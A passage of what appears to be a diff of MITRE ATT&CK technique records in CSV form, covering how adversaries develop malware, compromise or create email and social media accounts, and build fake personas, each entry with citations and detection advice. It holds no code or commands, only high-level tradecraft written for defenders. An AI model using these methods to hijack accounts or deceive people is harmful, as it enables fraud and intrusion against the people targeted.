'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf'}, {'source_name': 'Kaspersky Sofacy', 'description': ""Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015."", 'url': 'https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/'}, {'source_name': 'ActiveMalwareEnergy', 'description': 'Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. Retrieved March 9, 2017.', 'url': 'https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/'}, {'source_name': 'FBI Flash FIN7 USB', 'description': 'Federal Bureau of Investigation, Cyber Division. (2020, March 26). FIN7 Cyber Actors Targeting US Businesses Through USB Keystroke Injection Attacks. Retrieved October 14, 2020.', 'url': 'https://www.losangeles.va.gov/documents/MI-000120-MW.pdf'}, {'source_name': 'FireEye APT29', 'description': 'FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.', 'url': 'https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf'}]",1.2,attack-pattern,attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:33:01.433Z,2021-10-17T16:05:41.186Z,Malware,"Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware. -Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)",attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0,attack-pattern,['resource-development'],2021-04-15T03:08:33.165Z,2020-10-01T01:33:01.433Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1587', 'url': 'https://attack.mitre.org/techniques/T1587'}, {'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf', 'description': 'Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', 'source_name': 'Mandiant APT1'}, {'source_name': 'Kaspersky Sofacy', 'description': ""Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015."", 'url': 'https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/'}, {'source_name': 'Bitdefender StrongPity June 2020', 'url': 'https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf', 'description': 'Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.'}, {'source_name': 'Talos Promethium June 2020', 'url': 'https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html', 'description': 'Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,False,https://attack.mitre.org/techniques/T1587,mitre-attack,T1587,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Develop Capabilities,"Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020) +Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)",['resource-development'],https://attack.mitre.org/techniques/T1587/001,mitre-attack,T1587.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Malware Repository: Malware Metadata', 'Malware Repository: Malware Content']",,"Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1587', 'external_id': 'T1587'}, {'source_name': 'Mandiant APT1', 'description': 'Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf'}, {'source_name': 'Kaspersky Sofacy', 'description': ""Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015."", 'url': 'https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/'}, {'source_name': 'Bitdefender StrongPity June 2020', 'description': 'Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.', 'url': 'https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf'}, {'source_name': 'Talos Promethium June 2020', 'description': 'Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.', 'url': 'https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html'}, {'source_name': 'Splunk Kovar Certificates 2017', 'description': 'Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.', 'url': 'https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html'}]",1.1,attack-pattern,attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:30:00.877Z,2021-10-17T16:07:08.768Z,Develop Capabilities,"Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020) + +As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.",['resource-development'],https://attack.mitre.org/techniques/T1587,mitre-attack,T1587,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Malware Repository: Malware Metadata', 'Malware Repository: Malware Content', 'Internet Scan: Response Content']",,"Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. + +Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) -As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.",attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf,attack-pattern,['resource-development'],2021-04-15T03:08:33.511Z,2020-10-01T01:30:00.877Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1586.002', 'url': 'https://attack.mitre.org/techniques/T1586/002'}, {'source_name': 'AnonHBGary', 'description': 'Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.', 'url': 'https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1586/002,mitre-attack,T1586.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Email Accounts,"Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)). +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.",False,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1586/002', 'external_id': 'T1586.002'}, {'source_name': 'AnonHBGary', 'description': 'Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.', 'url': 'https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/'}]",1.0,attack-pattern,attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:20:53.104Z,2021-04-15T02:57:25.544Z,Email Accounts,"Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)). A variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. -Adversaries can use a compromised email account to hijack existing email threads with targets of interest.",attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b,attack-pattern,['resource-development'],2021-04-15T02:57:25.544Z,2020-10-01T01:20:53.104Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1586.001', 'url': 'https://attack.mitre.org/techniques/T1586/001'}, {'source_name': 'AnonHBGary', 'description': 'Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.', 'url': 'https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/'}, {'source_name': 'NEWSCASTER2014', 'description': 'Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.', 'url': 'https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation'}, {'source_name': 'BlackHatRobinSage', 'description': 'Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.', 'url': 'http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1586/001,mitre-attack,T1586.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Social Media Accounts,"Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. +Adversaries can use a compromised email account to hijack existing email threads with targets of interest.",['resource-development'],https://attack.mitre.org/techniques/T1586/002,mitre-attack,T1586.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1586/001', 'external_id': 'T1586.001'}, {'source_name': 'AnonHBGary', 'description': 'Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.', 'url': 'https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/'}, {'source_name': 'NEWSCASTER2014', 'description': 'Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.', 'url': 'https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation'}, {'source_name': 'BlackHatRobinSage', 'description': 'Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.', 'url': 'http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf'}]",1.1,attack-pattern,attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:18:35.535Z,2021-10-16T17:15:12.169Z,Social Media Accounts,"Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. -Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d,attack-pattern,['resource-development'],2021-04-15T02:59:06.872Z,2020-10-01T01:18:35.535Z,"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. +Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",['resource-development'],https://attack.mitre.org/techniques/T1586/001,mitre-attack,T1586.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Persona: Social Media', 'Network Traffic: Network Traffic Content']",,"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1586', 'url': 'https://attack.mitre.org/techniques/T1586'}, {'source_name': 'AnonHBGary', 'description': 'Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.', 'url': 'https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,False,https://attack.mitre.org/techniques/T1586,mitre-attack,T1586,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Compromise Accounts,"Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1586', 'external_id': 'T1586'}, {'source_name': 'AnonHBGary', 'description': 'Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.', 'url': 'https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/'}]",1.1,attack-pattern,attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:17:15.965Z,2021-10-16T17:15:12.428Z,Compromise Accounts,"Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. -Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).",attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a,attack-pattern,['resource-development'],2021-04-15T02:59:07.046Z,2020-10-01T01:17:15.965Z,"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. +Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).",['resource-development'],https://attack.mitre.org/techniques/T1586,mitre-attack,T1586,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Persona: Social Media', 'Network Traffic: Network Traffic Content']",,"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. -Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1585.002', 'url': 'https://attack.mitre.org/techniques/T1585/002'}, {'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf', 'description': 'Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', 'source_name': 'Mandiant APT1'}, {'source_name': 'Trend Micro R980 2016', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/', 'description': 'Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware Found Abusing Disposable Email Address Service. Retrieved October 13, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1585/002,mitre-attack,T1585.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Email Accounts,"Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1) +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",False,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1585/002', 'external_id': 'T1585.002'}, {'source_name': 'Mandiant APT1', 'description': 'Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf'}, {'source_name': 'Trend Micro R980 2016', 'description': 'Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware Found Abusing Disposable Email Address Service. Retrieved October 13, 2020.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/'}]",1.0,attack-pattern,attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:09:53.217Z,2021-04-15T03:09:59.862Z,Email Accounts,"Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1) -To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016)",attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a,attack-pattern,['resource-development'],2021-04-15T03:09:59.862Z,2020-10-01T01:09:53.217Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1585.001', 'url': 'https://attack.mitre.org/techniques/T1585/001'}, {'source_name': 'NEWSCASTER2014', 'description': 'Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.', 'url': 'https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation'}, {'source_name': 'BlackHatRobinSage', 'description': 'Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.', 'url': 'http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1585/001,mitre-attack,T1585.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Social Media Accounts,"Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) +To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016)",['resource-development'],https://attack.mitre.org/techniques/T1585/002,mitre-attack,T1585.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1585/001', 'external_id': 'T1585.001'}, {'source_name': 'NEWSCASTER2014', 'description': 'Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.', 'url': 'https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation'}, {'source_name': 'BlackHatRobinSage', 'description': 'Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.', 'url': 'http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf'}]",1.1,attack-pattern,attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:08:41.124Z,2021-10-16T17:37:34.563Z,Social Media Accounts,"Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) For operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. -Once a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928,attack-pattern,['resource-development'],2021-04-15T03:10:35.708Z,2020-10-01T01:08:41.124Z,"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. +Once a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",['resource-development'],https://attack.mitre.org/techniques/T1585/001,mitre-attack,T1585.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Persona: Social Media', 'Network Traffic: Network Traffic Content']",,"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via 